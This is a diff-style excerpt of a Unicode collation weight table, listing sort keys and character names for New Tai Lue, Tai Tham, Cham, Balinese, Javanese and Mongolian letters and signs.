+19B0  ; [.31AB.0020.0002] # NEW TAI LUE VOWEL SIGN VOWEL SHORTENER
+19B1  ; [.31AC.0020.0002] # NEW TAI LUE VOWEL SIGN AA
+19B2  ; [.31AD.0020.0002] # NEW TAI LUE VOWEL SIGN II
+19B3  ; [.31AE.0020.0002] # NEW TAI LUE VOWEL SIGN U
+19B4  ; [.31AF.0020.0002] # NEW TAI LUE VOWEL SIGN UU
+19B5  ; [.31B0.0020.0002] # NEW TAI LUE VOWEL SIGN E
+19B6  ; [.31B1.0020.0002] # NEW TAI LUE VOWEL SIGN AE
+19B7  ; [.31B2.0020.0002] # NEW TAI LUE VOWEL SIGN O
+19B8  ; [.31B3.0020.0002] # NEW TAI LUE VOWEL SIGN OA
+19B9  ; [.31B4.0020.0002] # NEW TAI LUE VOWEL SIGN UE
+19BA  ; [.31B5.0020.0002] # NEW TAI LUE VOWEL SIGN AY
+19BB  ; [.31B6.0020.0002] # NEW TAI LUE VOWEL SIGN AAY
+19BC  ; [.31B7.0020.0002] # NEW TAI LUE VOWEL SIGN UY
+19BD  ; [.31B8.0020.0002] # NEW TAI LUE VOWEL SIGN OY
+19BE  ; [.31B9.0020.0002] # NEW TAI LUE VOWEL SIGN OAY
+19BF  ; [.31BA.0020.0002] # NEW TAI LUE VOWEL SIGN UEY
+19C0  ; [.31BB.0020.0002] # NEW TAI LUE VOWEL SIGN IY
+19C1  ; [.31BC.0020.0002] # NEW TAI LUE LETTER FINAL V
+19C2  ; [.31BD.0020.0002] # NEW TAI LUE LETTER FINAL NG
+19C3  ; [.31BE.0020.0002] # NEW TAI LUE LETTER FINAL N
+19C4  ; [.31BF.0020.0002] # NEW TAI LUE LETTER FINAL M
+19C5  ; [.31C0.0020.0002] # NEW TAI LUE LETTER FINAL K
+19C6  ; [.31C1.0020.0002] # NEW TAI LUE LETTER FINAL D
+19C7  ; [.31C2.0020.0002] # NEW TAI LUE LETTER FINAL B
+19C8  ; [.31C3.0020.0002] # NEW TAI LUE TONE MARK-1
+19C9  ; [.31C4.0020.0002] # NEW TAI LUE TONE MARK-2
+1A20  ; [.31C5.0020.0002] # TAI THAM LETTER HIGH KA
+1A21  ; [.31C6.0020.0002] # TAI THAM LETTER HIGH KHA
+1A22  ; [.31C7.0020.0002] # TAI THAM LETTER HIGH KXA
+1A23  ; [.31C8.0020.0002] # TAI THAM LETTER LOW KA
+1A24  ; [.31C9.0020.0002] # TAI THAM LETTER LOW KXA
+1A25  ; [.31CA.0020.0002] # TAI THAM LETTER LOW KHA
+1A26  ; [.31CB.0020.0002] # TAI THAM LETTER NGA
+1A58  ; [.31CB.0020.0004] # TAI THAM SIGN MAI KANG LAI
+1A59  ; [.31CB.0020.0004] # TAI THAM CONSONANT SIGN FINAL NGA
+1A27  ; [.31CC.0020.0002] # TAI THAM LETTER HIGH CA
+1A28  ; [.31CD.0020.0002] # TAI THAM LETTER HIGH CHA
+1A29  ; [.31CE.0020.0002] # TAI THAM LETTER LOW CA
+1A2A  ; [.31CF.0020.0002] # TAI THAM LETTER LOW SA
+1A2B  ; [.31D0.0020.0002] # TAI THAM LETTER LOW CHA
+1A2C  ; [.31D1.0020.0002] # TAI THAM LETTER NYA
+1A2D  ; [.31D2.0020.0002] # TAI THAM LETTER RATA
+1A2E  ; [.31D3.0020.0002] # TAI THAM LETTER HIGH RATHA
+1A2F  ; [.31D4.0020.0002] # TAI THAM LETTER DA
+1A30  ; [.31D5.0020.0002] # TAI THAM LETTER LOW RATHA
+1A31  ; [.31D6.0020.0002] # TAI THAM LETTER RANA
+1A32  ; [.31D7.0020.0002] # TAI THAM LETTER HIGH TA
+1A33  ; [.31D8.0020.0002] # TAI THAM LETTER HIGH THA
+1A34  ; [.31D9.0020.0002] # TAI THAM LETTER LOW TA
+1A35  ; [.31DA.0020.0002] # TAI THAM LETTER LOW THA
+1A36  ; [.31DB.0020.0002] # TAI THAM LETTER NA
+1A37  ; [.31DC.0020.0002] # TAI THAM LETTER BA
+1A38  ; [.31DD.0020.0002] # TAI THAM LETTER HIGH PA
+1A39  ; [.31DE.0020.0002] # TAI THAM LETTER HIGH PHA
+1A3A  ; [.31DF.0020.0002] # TAI THAM LETTER HIGH FA
+1A3B  ; [.31E0.0020.0002] # TAI THAM LETTER LOW PA
+1A5A  ; [.31E0.0020.0004] # TAI THAM CONSONANT SIGN LOW PA
+1A5B  ; [.31E0.0020.0004] # TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA
+1A3C  ; [.31E1.0020.0002] # TAI THAM LETTER LOW FA
+1A3D  ; [.31E2.0020.0002] # TAI THAM LETTER LOW PHA
+1A3E  ; [.31E3.0020.0002] # TAI THAM LETTER MA
+1A3F  ; [.31E4.0020.0002] # TAI THAM LETTER LOW YA
+1A40  ; [.31E5.0020.0002] # TAI THAM LETTER HIGH YA
+1A41  ; [.31E6.0020.0002] # TAI THAM LETTER RA
+1A42  ; [.31E7.0020.0002] # TAI THAM LETTER RUE
+1A43  ; [.31E8.0020.0002] # TAI THAM LETTER LA
+1A44  ; [.31E9.0020.0002] # TAI THAM LETTER LUE
+1A45  ; [.31EA.0020.0002] # TAI THAM LETTER WA
+1A46  ; [.31EB.0020.0002] # TAI THAM LETTER HIGH SHA
+1A54  ; [.31EB.0020.0004][.3211.0020.0004][.31EB.0020.0004] # TAI THAM LETTER GREAT SA
+1A47  ; [.31EC.0020.0002] # TAI THAM LETTER HIGH SSA
+1A48  ; [.31ED.0020.0002] # TAI THAM LETTER HIGH SA
+1A49  ; [.31EE.0020.0002] # TAI THAM LETTER HIGH HA
+1A4A  ; [.31EF.0020.0002] # TAI THAM LETTER LLA
+1A4B  ; [.31F0.0020.0002] # TAI THAM LETTER A
+1A4C  ; [.31F1.0020.0002] # TAI THAM LETTER LOW HA
+1A53  ; [.31F2.0020.0002] # TAI THAM LETTER LAE
+1A6B  ; [.31F3.0020.0002] # TAI THAM VOWEL SIGN O
+1A55  ; [.31F4.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL RA
+1A56  ; [.31F5.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL LA
+1A57  ; [.31F6.0020.0002] # TAI THAM CONSONANT SIGN LA TANG LAI
+1A5C  ; [.31F7.0020.0002] # TAI THAM CONSONANT SIGN MA
+1A5D  ; [.31F8.0020.0002] # TAI THAM CONSONANT SIGN BA
+1A5E  ; [.31F9.0020.0002] # TAI THAM CONSONANT SIGN SA
+1A4D  ; [.31FA.0020.0002] # TAI THAM LETTER I
+1A4E  ; [.31FB.0020.0002] # TAI THAM LETTER II
+1A4F  ; [.31FC.0020.0002] # TAI THAM LETTER U
+1A50  ; [.31FD.0020.0002] # TAI THAM LETTER UU
+1A51  ; [.31FE.0020.0002] # TAI THAM LETTER EE
+1A52  ; [.31FF.0020.0002] # TAI THAM LETTER OO
+1A61  ; [.3200.0020.0002] # TAI THAM VOWEL SIGN A
+1A6C  ; [.3201.0020.0002] # TAI THAM VOWEL SIGN OA BELOW
+1A62  ; [.3202.0020.0002] # TAI THAM VOWEL SIGN MAI SAT
+1A63  ; [.3203.0020.0002] # TAI THAM VOWEL SIGN AA
+1A64  ; [.3203.0020.0004] # TAI THAM VOWEL SIGN TALL AA
+1A65  ; [.3204.0020.0002] # TAI THAM VOWEL SIGN I
+1A66  ; [.3205.0020.0002] # TAI THAM VOWEL SIGN II
+1A67  ; [.3206.0020.0002] # TAI THAM VOWEL SIGN UE
+1A68  ; [.3207.0020.0002] # TAI THAM VOWEL SIGN UUE
+1A69  ; [.3208.0020.0002] # TAI THAM VOWEL SIGN U
+1A6A  ; [.3209.0020.0002] # TAI THAM VOWEL SIGN UU
+1A6E  ; [.320A.0020.0002] # TAI THAM VOWEL SIGN E
+1A6F  ; [.320B.0020.0002] # TAI THAM VOWEL SIGN AE
+1A73  ; [.320C.0020.0002] # TAI THAM VOWEL SIGN OA ABOVE
+1A70  ; [.320D.0020.0002] # TAI THAM VOWEL SIGN OO
+1A71  ; [.320E.0020.0002] # TAI THAM VOWEL SIGN AI
+1A72  ; [.320F.0020.0002] # TAI THAM VOWEL SIGN THAM AI
+1A6D  ; [.3210.0020.0002] # TAI THAM VOWEL SIGN OY
+1A60  ; [.3211.0020.0002] # TAI THAM SIGN SAKOT
+AA00  ; [.3212.0020.0002] # CHAM LETTER A
+AA01  ; [.3213.0020.0002] # CHAM LETTER I
+AA02  ; [.3214.0020.0002] # CHAM LETTER U
+AA03  ; [.3215.0020.0002] # CHAM LETTER E
+AA04  ; [.3216.0020.0002] # CHAM LETTER AI
+AA05  ; [.3217.0020.0002] # CHAM LETTER O
+AA06  ; [.3218.0020.0002] # CHAM LETTER KA
+AA07  ; [.3219.0020.0002] # CHAM LETTER KHA
+AA08  ; [.321A.0020.0002] # CHAM LETTER GA
+AA09  ; [.321B.0020.0002] # CHAM LETTER GHA
+AA0A  ; [.321C.0020.0002] # CHAM LETTER NGUE
+AA0B  ; [.321D.0020.0002] # CHAM LETTER NGA
+AA0C  ; [.321E.0020.0002] # CHAM LETTER CHA
+AA0D  ; [.321F.0020.0002] # CHAM LETTER CHHA
+AA0E  ; [.3220.0020.0002] # CHAM LETTER JA
+AA0F  ; [.3221.0020.0002] # CHAM LETTER JHA
+AA10  ; [.3222.0020.0002] # CHAM LETTER NHUE
+AA11  ; [.3223.0020.0002] # CHAM LETTER NHA
+AA12  ; [.3224.0020.0002] # CHAM LETTER NHJA
+AA13  ; [.3225.0020.0002] # CHAM LETTER TA
+AA14  ; [.3226.0020.0002] # CHAM LETTER THA
+AA15  ; [.3227.0020.0002] # CHAM LETTER DA
+AA16  ; [.3228.0020.0002] # CHAM LETTER DHA
+AA17  ; [.3229.0020.0002] # CHAM LETTER NUE
+AA18  ; [.322A.0020.0002] # CHAM LETTER NA
+AA19  ; [.322B.0020.0002] # CHAM LETTER DDA
+AA1A  ; [.322C.0020.0002] # CHAM LETTER PA
+AA1B  ; [.322D.0020.0002] # CHAM LETTER PPA
+AA1C  ; [.322E.0020.0002] # CHAM LETTER PHA
+AA1D  ; [.322F.0020.0002] # CHAM LETTER BA
+AA1E  ; [.3230.0020.0002] # CHAM LETTER BHA
+AA1F  ; [.3231.0020.0002] # CHAM LETTER MUE
+AA20  ; [.3232.0020.0002] # CHAM LETTER MA
+AA21  ; [.3233.0020.0002] # CHAM LETTER BBA
+AA22  ; [.3234.0020.0002] # CHAM LETTER YA
+AA23  ; [.3235.0020.0002] # CHAM LETTER RA
+AA24  ; [.3236.0020.0002] # CHAM LETTER LA
+AA25  ; [.3237.0020.0002] # CHAM LETTER VA
+AA26  ; [.3238.0020.0002] # CHAM LETTER SSA
+AA27  ; [.3239.0020.0002] # CHAM LETTER SA
+AA28  ; [.323A.0020.0002] # CHAM LETTER HA
+AA33  ; [.323B.0020.0002] # CHAM CONSONANT SIGN YA
+AA34  ; [.323C.0020.0002] # CHAM CONSONANT SIGN RA
+AA35  ; [.323D.0020.0002] # CHAM CONSONANT SIGN LA
+AA36  ; [.323E.0020.0002] # CHAM CONSONANT SIGN WA
+AA29  ; [.323F.0020.0002] # CHAM VOWEL SIGN AA
+AA2A  ; [.3240.0020.0002] # CHAM VOWEL SIGN I
+AA2B  ; [.3241.0020.0002] # CHAM VOWEL SIGN II
+AA2C  ; [.3242.0020.0002] # CHAM VOWEL SIGN EI
+AA2D  ; [.3243.0020.0002] # CHAM VOWEL SIGN U
+AA2E  ; [.3244.0020.0002] # CHAM VOWEL SIGN OE
+AA2F  ; [.3245.0020.0002] # CHAM VOWEL SIGN O
+AA30  ; [.3246.0020.0002] # CHAM VOWEL SIGN AI
+AA31  ; [.3247.0020.0002] # CHAM VOWEL SIGN AU
+AA32  ; [.3248.0020.0002] # CHAM VOWEL SIGN UE
+AA40  ; [.3249.0020.0002] # CHAM LETTER FINAL K
+AA41  ; [.324A.0020.0002] # CHAM LETTER FINAL G
+AA42  ; [.324B.0020.0002] # CHAM LETTER FINAL NG
+AA43  ; [.324C.0020.0002] # CHAM CONSONANT SIGN FINAL NG
+AA44  ; [.324D.0020.0002] # CHAM LETTER FINAL CH
+AA45  ; [.324E.0020.0002] # CHAM LETTER FINAL T
+AA46  ; [.324F.0020.0002] # CHAM LETTER FINAL N
+AA47  ; [.3250.0020.0002] # CHAM LETTER FINAL P
+AA48  ; [.3251.0020.0002] # CHAM LETTER FINAL Y
+AA49  ; [.3252.0020.0002] # CHAM LETTER FINAL R
+AA4A  ; [.3253.0020.0002] # CHAM LETTER FINAL L
+AA4B  ; [.3254.0020.0002] # CHAM LETTER FINAL SS
+AA4C  ; [.3255.0020.0002] # CHAM CONSONANT SIGN FINAL M
+AA4D  ; [.3256.0020.0002] # CHAM CONSONANT SIGN FINAL H
+1B05  ; [.3257.0020.0002] # BALINESE LETTER AKARA
+1B06  ; [.3258.0020.0002] # BALINESE LETTER AKARA TEDUNG
+1B05 1B35 ; [.3258.0020.0002] # BALINESE LETTER AKARA TEDUNG
+1B07  ; [.3259.0020.0002] # BALINESE LETTER IKARA
+1B08  ; [.325A.0020.0002] # BALINESE LETTER IKARA TEDUNG
+1B07 1B35 ; [.325A.0020.0002] # BALINESE LETTER IKARA TEDUNG
+1B09  ; [.325B.0020.0002] # BALINESE LETTER UKARA
+1B0A  ; [.325C.0020.0002] # BALINESE LETTER UKARA TEDUNG
+1B09 1B35 ; [.325C.0020.0002] # BALINESE LETTER UKARA TEDUNG
+1B0B  ; [.325D.0020.0002] # BALINESE LETTER RA REPA
+1B0C  ; [.325E.0020.0002] # BALINESE LETTER RA REPA TEDUNG
+1B0B 1B35 ; [.325E.0020.0002] # BALINESE LETTER RA REPA TEDUNG
+1B0D  ; [.325F.0020.0002] # BALINESE LETTER LA LENGA
+1B0E  ; [.3260.0020.0002] # BALINESE LETTER LA LENGA TEDUNG
+1B0D 1B35 ; [.3260.0020.0002] # BALINESE LETTER LA LENGA TEDUNG
+1B0F  ; [.3261.0020.0002] # BALINESE LETTER EKARA
+1B10  ; [.3262.0020.0002] # BALINESE LETTER AIKARA
+1B11  ; [.3263.0020.0002] # BALINESE LETTER OKARA
+1B12  ; [.3264.0020.0002] # BALINESE LETTER OKARA TEDUNG
+1B11 1B35 ; [.3264.0020.0002] # BALINESE LETTER OKARA TEDUNG
+1B13  ; [.3265.0020.0002] # BALINESE LETTER KA
+1B45  ; [.3266.0020.0002] # BALINESE LETTER KAF SASAK
+1B46  ; [.3267.0020.0002] # BALINESE LETTER KHOT SASAK
+1B14  ; [.3268.0020.0002] # BALINESE LETTER KA MAHAPRANA
+1B15  ; [.3269.0020.0002] # BALINESE LETTER GA
+1B16  ; [.326A.0020.0002] # BALINESE LETTER GA GORA
+1B17  ; [.326B.0020.0002] # BALINESE LETTER NGA
+1B18  ; [.326C.0020.0002] # BALINESE LETTER CA
+1B19  ; [.326D.0020.0002] # BALINESE LETTER CA LACA
+1B1A  ; [.326E.0020.0002] # BALINESE LETTER JA
+1B1B  ; [.326F.0020.0002] # BALINESE LETTER JA JERA
+1B1C  ; [.3270.0020.0002] # BALINESE LETTER NYA
+1B1D  ; [.3271.0020.0002] # BALINESE LETTER TA LATIK
+1B1E  ; [.3272.0020.0002] # BALINESE LETTER TA MURDA MAHAPRANA
+1B1F  ; [.3273.0020.0002] # BALINESE LETTER DA MURDA ALPAPRANA
+1B20  ; [.3274.0020.0002] # BALINESE LETTER DA MURDA MAHAPRANA
+1B21  ; [.3275.0020.0002] # BALINESE LETTER NA RAMBAT
+1B22  ; [.3276.0020.0002] # BALINESE LETTER TA
+1B47  ; [.3277.0020.0002] # BALINESE LETTER TZIR SASAK
+1B23  ; [.3278.0020.0002] # BALINESE LETTER TA TAWA
+1B24  ; [.3279.0020.0002] # BALINESE LETTER DA
+1B25  ; [.327A.0020.0002] # BALINESE LETTER DA MADU
+1B26  ; [.327B.0020.0002] # BALINESE LETTER NA
+1B27  ; [.327C.0020.0002] # BALINESE LETTER PA
+1B48  ; [.327D.0020.0002] # BALINESE LETTER EF SASAK
+1B28  ; [.327E.0020.0002] # BALINESE LETTER PA KAPAL
+1B29  ; [.327F.0020.0002] # BALINESE LETTER BA
+1B2A  ; [.3280.0020.0002] # BALINESE LETTER BA KEMBANG
+1B2B  ; [.3281.0020.0002] # BALINESE LETTER MA
+1B2C  ; [.3282.0020.0002] # BALINESE LETTER YA
+1B2D  ; [.3283.0020.0002] # BALINESE LETTER RA
+1B2E  ; [.3284.0020.0002] # BALINESE LETTER LA
+1B2F  ; [.3285.0020.0002] # BALINESE LETTER WA
+1B49  ; [.3286.0020.0002] # BALINESE LETTER VE SASAK
+1B30  ; [.3287.0020.0002] # BALINESE LETTER SA SAGA
+1B31  ; [.3288.0020.0002] # BALINESE LETTER SA SAPA
+1B32  ; [.3289.0020.0002] # BALINESE LETTER SA
+1B4A  ; [.328A.0020.0002] # BALINESE LETTER ZAL SASAK
+1B4B  ; [.328B.0020.0002] # BALINESE LETTER ASYURA SASAK
+1B33  ; [.328C.0020.0002] # BALINESE LETTER HA
+1B35  ; [.328D.0020.0002] # BALINESE VOWEL SIGN TEDUNG
+1B36  ; [.328E.0020.0002] # BALINESE VOWEL SIGN ULU
+1B37  ; [.328F.0020.0002] # BALINESE VOWEL SIGN ULU SARI
+1B38  ; [.3290.0020.0002] # BALINESE VOWEL SIGN SUKU
+1B39  ; [.3291.0020.0002] # BALINESE VOWEL SIGN SUKU ILUT
+1B3A  ; [.3292.0020.0002] # BALINESE VOWEL SIGN RA REPA
+1B3B  ; [.3293.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG
+1B3A 1B35 ; [.3293.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG
+1B3C  ; [.3294.0020.0002] # BALINESE VOWEL SIGN LA LENGA
+1B3D  ; [.3295.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG
+1B3C 1B35 ; [.3295.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG
+1B3E  ; [.3296.0020.0002] # BALINESE VOWEL SIGN TALING
+1B3F  ; [.3297.0020.0002] # BALINESE VOWEL SIGN TALING REPA
+1B40  ; [.3298.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG
+1B3E 1B35 ; [.3298.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG
+1B41  ; [.3299.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG
+1B3F 1B35 ; [.3299.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG
+1B42  ; [.329A.0020.0002] # BALINESE VOWEL SIGN PEPET
+1B43  ; [.329B.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG
+1B42 1B35 ; [.329B.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG
+1B44  ; [.329C.0020.0002] # BALINESE ADEG ADEG
+A984  ; [.329D.0020.0002] # JAVANESE LETTER A
+A985  ; [.329E.0020.0002] # JAVANESE LETTER I KAWI
+A986  ; [.329F.0020.0002] # JAVANESE LETTER I
+A987  ; [.32A0.0020.0002] # JAVANESE LETTER II
+A988  ; [.32A1.0020.0002] # JAVANESE LETTER U
+A989  ; [.32A2.0020.0002] # JAVANESE LETTER PA CEREK
+A98A  ; [.32A3.0020.0002] # JAVANESE LETTER NGA LELET
+A98B  ; [.32A4.0020.0002] # JAVANESE LETTER NGA LELET RASWADI
+A98C  ; [.32A5.0020.0002] # JAVANESE LETTER E
+A98D  ; [.32A6.0020.0002] # JAVANESE LETTER AI
+A98E  ; [.32A7.0020.0002] # JAVANESE LETTER O
+A98F  ; [.32A8.0020.0002] # JAVANESE LETTER KA
+A990  ; [.32A9.0020.0002] # JAVANESE LETTER KA SASAK
+A991  ; [.32AA.0020.0002] # JAVANESE LETTER KA MURDA
+A992  ; [.32AB.0020.0002] # JAVANESE LETTER GA
+A993  ; [.32AC.0020.0002] # JAVANESE LETTER GA MURDA
+A994  ; [.32AD.0020.0002] # JAVANESE LETTER NGA
+A995  ; [.32AE.0020.0002] # JAVANESE LETTER CA
+A996  ; [.32AF.0020.0002] # JAVANESE LETTER CA MURDA
+A997  ; [.32B0.0020.0002] # JAVANESE LETTER JA
+A998  ; [.32B1.0020.0002] # JAVANESE LETTER NYA MURDA
+A999  ; [.32B2.0020.0002] # JAVANESE LETTER JA MAHAPRANA
+A99A  ; [.32B3.0020.0002] # JAVANESE LETTER NYA
+A99B  ; [.32B4.0020.0002] # JAVANESE LETTER TTA
+A99C  ; [.32B5.0020.0002] # JAVANESE LETTER TTA MAHAPRANA
+A99D  ; [.32B6.0020.0002] # JAVANESE LETTER DDA
+A99E  ; [.32B7.0020.0002] # JAVANESE LETTER DDA MAHAPRANA
+A99F  ; [.32B8.0020.0002] # JAVANESE LETTER NA MURDA
+A9A0  ; [.32B9.0020.0002] # JAVANESE LETTER TA
+A9A1  ; [.32BA.0020.0002] # JAVANESE LETTER TA MURDA
+A9A2  ; [.32BB.0020.0002] # JAVANESE LETTER DA
+A9A3  ; [.32BC.0020.0002] # JAVANESE LETTER DA MAHAPRANA
+A9A4  ; [.32BD.0020.0002] # JAVANESE LETTER NA
+A9A5  ; [.32BE.0020.0002] # JAVANESE LETTER PA
+A9A6  ; [.32BF.0020.0002] # JAVANESE LETTER PA MURDA
+A9A7  ; [.32C0.0020.0002] # JAVANESE LETTER BA
+A9A8  ; [.32C1.0020.0002] # JAVANESE LETTER BA MURDA
+A9A9  ; [.32C2.0020.0002] # JAVANESE LETTER MA
+A9AA  ; [.32C3.0020.0002] # JAVANESE LETTER YA
+A9BE  ; [.32C4.0020.0002] # JAVANESE CONSONANT SIGN PENGKAL
+A9AB  ; [.32C5.0020.0002] # JAVANESE LETTER RA
+A9AC  ; [.32C5.0020.0004] # JAVANESE LETTER RA AGUNG
+A9BF  ; [.32C6.0020.0002] # JAVANESE CONSONANT SIGN CAKRA
+A9AD  ; [.32C7.0020.0002] # JAVANESE LETTER LA
+A9AE  ; [.32C8.0020.0002] # JAVANESE LETTER WA
+A9AF  ; [.32C9.0020.0002] # JAVANESE LETTER SA MURDA
+A9B0  ; [.32CA.0020.0002] # JAVANESE LETTER SA MAHAPRANA
+A9B1  ; [.32CB.0020.0002] # JAVANESE LETTER SA
+A9B2  ; [.32CC.0020.0002] # JAVANESE LETTER HA
+A9B4  ; [.32CD.0020.0002] # JAVANESE VOWEL SIGN TARUNG
+A9BC  ; [.32CE.0020.0002] # JAVANESE VOWEL SIGN PEPET
+A9B6  ; [.32CF.0020.0002] # JAVANESE VOWEL SIGN WULU
+A9B7  ; [.32D0.0020.0002] # JAVANESE VOWEL SIGN WULU MELIK
+A9B8  ; [.32D1.0020.0002] # JAVANESE VOWEL SIGN SUKU
+A9B9  ; [.32D2.0020.0002] # JAVANESE VOWEL SIGN SUKU MENDUT
+A9BD  ; [.32D3.0020.0002] # JAVANESE CONSONANT SIGN KERET
+A9BA  ; [.32D4.0020.0002] # JAVANESE VOWEL SIGN TALING
+A9BB  ; [.32D5.0020.0002] # JAVANESE VOWEL SIGN DIRGA MURE
+A9B5  ; [.32D6.0020.0002] # JAVANESE VOWEL SIGN TOLONG
+A9C0  ; [.32D7.0020.0002] # JAVANESE PANGKON
+1880  ; [.32D8.0020.0002] # MONGOLIAN LETTER ALI GALI ANUSVARA ONE
+1881  ; [.32D9.0020.0002] # MONGOLIAN LETTER ALI GALI VISARGA ONE
+1882  ; [.32DA.0020.0002] # MONGOLIAN LETTER ALI GALI DAMARU
+1883  ; [.32DB.0020.0002] # MONGOLIAN LETTER ALI GALI UBADAMA
+1884  ; [.32DC.0020.0002] # MONGOLIAN LETTER ALI GALI INVERTED UBADAMA
+1885  ; [.32DD.0020.0002] # MONGOLIAN LETTER ALI GALI BALUDA
+1886  ; [.32DE.0020.0002] # MONGOLIAN LETTER ALI GALI THREE BALUDA
+1843  ; [.32DF.0020.0002] # MONGOLIAN LETTER TODO LONG VOWEL SIGN
+1820  ; [.32E0.0020.0002] # MONGOLIAN LETTER A
+1887  ; [.32E1.0020.0002] # MONGOLIAN LETTER ALI GALI A
+1821  ; [.32E2.0020.0002] # MONGOLIAN LETTER E
+1844  ; [.32E3.0020.0002] # MONGOLIAN LETTER TODO E
+185D  ; [.32E4.0020.0002] # MONGOLIAN LETTER SIBE E
+1822  ; [.32E5.0020.0002] # MONGOLIAN LETTER I
+1845  ; [.32E6.0020.0002] # MONGOLIAN LETTER TODO I
+185E  ; [.32E7.0020.0002] # MONGOLIAN LETTER SIBE I
+1873  ; [.32E8.0020.0002] # MONGOLIAN LETTER MANCHU I
+1888  ; [.32E9.0020.0002] # MONGOLIAN LETTER ALI GALI I
+185F  ; [.32EA.0020.0002] # MONGOLIAN LETTER SIBE IY
+1823  ; [.32EB.0020.0002] # MONGOLIAN LETTER O
+1846  ; [.32EC.0020.0002] # MONGOLIAN LETTER TODO O
+1824  ; [.32ED.0020.0002] # MONGOLIAN LETTER U
+1847  ; [.32EE.0020.0002] # MONGOLIAN LETTER TODO U
+1861  ; [.32EF.0020.0002] # MONGOLIAN LETTER SIBE U
+1825  ; [.32F0.0020.0002] # MONGOLIAN LETTER OE
+1848  ; [.32F1.0020.0002] # MONGOLIAN LETTER TODO OE
+1826  ; [.32F2.0020.0002] # MONGOLIAN LETTER UE
+1849  ; [.32F3.0020.0002] # MONGOLIAN LETTER TODO UE
+1860  ; [.32F4.0020.0002] # MONGOLIAN LETTER SIBE UE
+1827  ; [.32F5.0020.0002] # MONGOLIAN LETTER EE
+1828  ; [.32F6.0020.0002] # MONGOLIAN LETTER NA
+1829  ; [.32F7.0020.0002] # MONGOLIAN LETTER ANG
+184A  ; [.32F8.0020.0002] # MONGOLIAN LETTER TODO ANG
+1862  ; [.32F9.0020.0002] # MONGOLIAN LETTER SIBE ANG
+188A  ; [.32FA.0020.0002] # MONGOLIAN LETTER ALI GALI NGA
+189B  ; [.32FB.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI NGA
+182A  ; [.32FC.0020.0002] # MONGOLIAN LETTER BA
+184B  ; [.32FD.0020.0002] # MONGOLIAN LETTER TODO BA
+182B  ; [.32FE.0020.0002] # MONGOLIAN LETTER PA
+184C  ; [.32FF.0020.0002] # MONGOLIAN LETTER TODO PA
+1866  ; [.3300.0020.0002] # MONGOLIAN LETTER SIBE PA
+182C  ; [.3301.0020.0002] # MONGOLIAN LETTER QA
+184D  ; [.3302.0020.0002] # MONGOLIAN LETTER TODO QA
+182D  ; [.3303.0020.0002] # MONGOLIAN LETTER GA
+184E  ; [.3304.0020.0002] # MONGOLIAN LETTER TODO GA
+1864  ; [.3305.0020.0002] # MONGOLIAN LETTER SIBE GA
+189A  ; [.3306.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI GHA
+1865  ; [.3307.0020.0002] # MONGOLIAN LETTER SIBE HA
+182E  ; [.3308.0020.0002] # MONGOLIAN LETTER MA
+184F  ; [.3309.0020.0002] # MONGOLIAN LETTER TODO MA
+182F  ; [.330A.0020.0002] # MONGOLIAN LETTER LA
+1830  ; [.330B.0020.0002] # MONGOLIAN LETTER SA
+1831  ; [.330C.0020.0002] # MONGOLIAN LETTER SHA
+1867  ; [.330D.0020.0002] # MONGOLIAN LETTER SIBE SHA
+189C  ; [.330E.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CA
+189D  ; [.330F.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI JHA
+18A2  ; [.3310.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI SSA
+18A4  ; [.3311.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZHA
+18A5  ; [.3312.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI ZA
+1832  ; [.3313.0020.0002] # MONGOLIAN LETTER TA
+1850  ; [.3314.0020.0002] # MONGOLIAN LETTER TODO TA
+1868  ; [.3315.0020.0002] # MONGOLIAN LETTER SIBE TA
+1833  ; [.3316.0020.0002] # MONGOLIAN LETTER DA
+1851  ; [.3317.0020.0002] # MONGOLIAN LETTER TODO DA
+1869  ; [.3318.0020.0002] # MONGOLIAN LETTER SIBE DA
+1834  ; [.3319.0020.0002] # MONGOLIAN LETTER CHA
+1852  ; [.331A.0020.0002] # MONGOLIAN LETTER TODO CHA
+1871  ; [.331B.0020.0002] # MONGOLIAN LETTER SIBE CHA
+185C  ; [.331C.0020.0002] # MONGOLIAN LETTER TODO DZA
+188B  ; [.331D.0020.0002] # MONGOLIAN LETTER ALI GALI CA
+1835  ; [.331E.0020.0002] # MONGOLIAN LETTER JA
+1853  ; [.331F.0020.0002] # MONGOLIAN LETTER TODO JA
+186A  ; [.3320.0020.0002] # MONGOLIAN LETTER SIBE JA
+1877  ; [.3321.0020.0002] # MONGOLIAN LETTER MANCHU ZHA
+1836  ; [.3322.0020.0002] # MONGOLIAN LETTER YA
+1855  ; [.3323.0020.0002] # MONGOLIAN LETTER TODO YA
+1872  ; [.3324.0020.0002] # MONGOLIAN LETTER SIBE ZHA
+1837  ; [.3325.0020.0002] # MONGOLIAN LETTER RA
+1875  ; [.3326.0020.0002] # MONGOLIAN LETTER MANCHU RA
+1838  ; [.3327.0020.0002] # MONGOLIAN LETTER WA
+1856  ; [.3328.0020.0002] # MONGOLIAN LETTER TODO WA
+1839  ; [.3329.0020.0002] # MONGOLIAN LETTER FA
+186B  ; [.332A.0020.0002] # MONGOLIAN LETTER SIBE FA
+1876  ; [.332B.0020.0002] # MONGOLIAN LETTER MANCHU FA
+183A  ; [.332C.0020.0002] # MONGOLIAN LETTER KA
+1857  ; [.332D.0020.0002] # MONGOLIAN LETTER TODO KA
+1863  ; [.332E.0020.0002] # MONGOLIAN LETTER SIBE KA
+1874  ; [.332F.0020.0002] # MONGOLIAN LETTER MANCHU KA
